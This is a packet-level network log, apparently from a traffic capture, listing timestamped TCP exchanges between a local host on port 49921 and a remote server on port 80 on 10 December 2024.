Dec 10, 2024 05:10:48.066184998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.066215992 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.066263914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.066299915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.067047119 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.067100048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.067146063 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.067250967 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.067928076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.068006992 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.068047047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.068083048 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.068809032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.068912029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.068928957 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.068948984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.069701910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.069755077 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.069806099 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.069839001 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.070579052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.070625067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.070691109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.070722103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.071454048 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.071562052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.071607113 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.072336912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.072376966 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.072381973 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.072537899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.073232889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.073278904 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.073331118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.073394060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.074095011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.074135065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.074198961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.074498892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.074985027 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.075043917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.075120926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.075306892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.075876951 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.075913906 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.075977087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.076055050 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.076813936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.076855898 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.076903105 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.077620029 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.077675104 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.077755928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.077789068 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.078607082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.078668118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.078974009 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.079399109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.079441071 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.079513073 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.079545975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.080316067 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.080364943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.080369949 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.080394030 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.081181049 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.081226110 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.081255913 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.081286907 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.082045078 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.082093954 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.082137108 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.082170010 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.082890987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.083013058 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.083051920 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.083801031 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.083877087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.083918095 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.084650040 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.084773064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.084811926 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.085539103 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.085580111 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.085623980 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.085671902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.086410999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.086446047 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.086493015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.086527109 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.087325096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.087359905 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.087412119 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.087469101 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.088202953 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.088237047 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.088280916 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.088311911 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.089050055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.089113951 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.089184999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.089381933 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.089929104 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.089965105 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.090043068 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.090094090 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.090831041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.090878963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.090910912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.090945959 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.237381935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.237431049 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.237483025 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.237515926 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.237811089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.237844944 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.237915993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.238667011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.238708019 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.238782883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.239119053 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.239531040 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.239563942 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.239816904 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.239897966 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.239948988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.239981890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.240689993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.240739107 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.240835905 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.241594076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.241633892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.241633892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.241668940 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.242460012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.242500067 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.242655039 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.242702961 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.243340015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.243377924 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.243477106 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.243558884 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.244251966 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.244292021 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.244329929 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.244364023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.245095968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.245141983 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.245207071 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.245242119 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.245976925 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.246017933 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.246078968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.246114969 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.246857882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.246892929 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.246968031 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.247003078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.247754097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.247787952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.247908115 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.247948885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.248622894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.248673916 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.248713017 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.248750925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.249497890 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.249536991 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.249598980 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.249634027 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.250385046 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.250442028 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.250480890 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.250516891 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.251252890 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.251296997 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.251331091 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.252127886 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.252186060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.252247095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.252279043 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.253025055 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.253061056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.253127098 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.253165007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.253889084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.253933907 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.254004002 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.254127026 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.254803896 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.254916906 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.254949093 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.254981041 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.255685091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.255809069 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.255848885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.256542921 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.256576061 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.256645918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.256685019 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.257447004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.257482052 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.257538080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.257570982 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.258313894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.258346081 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.258408070 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.258439064 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.259181976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.259212971 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.259264946 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.259300947 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.260061026 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.260102034 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.260166883 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.260205030 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.260936975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.260984898 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.261037111 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.261065960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.261859894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.261893988 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.262012005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.262048006 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.262710094 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.262742996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.262795925 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.262821913 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.263617992 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.263663054 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.263710976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.263756037 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.264494896 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.264553070 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.264662027 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.264705896 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.265351057 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.265392065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.265480042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.265516043 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.266222000 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.266258955 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.266330004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.266366005 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.267097950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.267142057 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.267180920 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.267218113 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.267986059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.268019915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.268086910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.268136978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.268853903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.268891096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.268965960 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.269005060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.269750118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.269802094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.269870043 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.269906044 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.270622015 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.270659924 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.270739079 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.270770073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.271507978 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.271626949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.271667957 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.272397041 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.272445917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.272481918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.272542953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.273252010 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.273376942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.273411989 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.274151087 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.274184942 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.274243116 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.274285078 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.275017023 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.275124073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.275147915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.275585890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.275904894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.275980949 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.276026011 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.276057959 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.276793957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.276840925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.276892900 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.276922941 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.277663946 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.277697086 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.277784109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.277816057 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.278546095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.278608084 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.278688908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.278721094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.279427052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.279459953 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.279552937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.279584885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.280291080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.280323982 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.280399084 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.280431032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.281199932 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.281246901 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.281271935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.281300068 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.282068968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.282107115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.282182932 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.282279968 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.282933950 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.282969952 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.283014059 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.283046961 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.429481983 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.429511070 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.429536104 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.429577112 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.429879904 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.429919958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.430001020 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.430064917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.430747032 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.430799007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.431070089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.431190968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.431219101 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.431258917 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.431912899 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.431971073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.432025909 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.432058096 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.432786942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.432825089 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.432893991 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.432926893 CET	49921	80	192.168.2.5	185.215.113.16
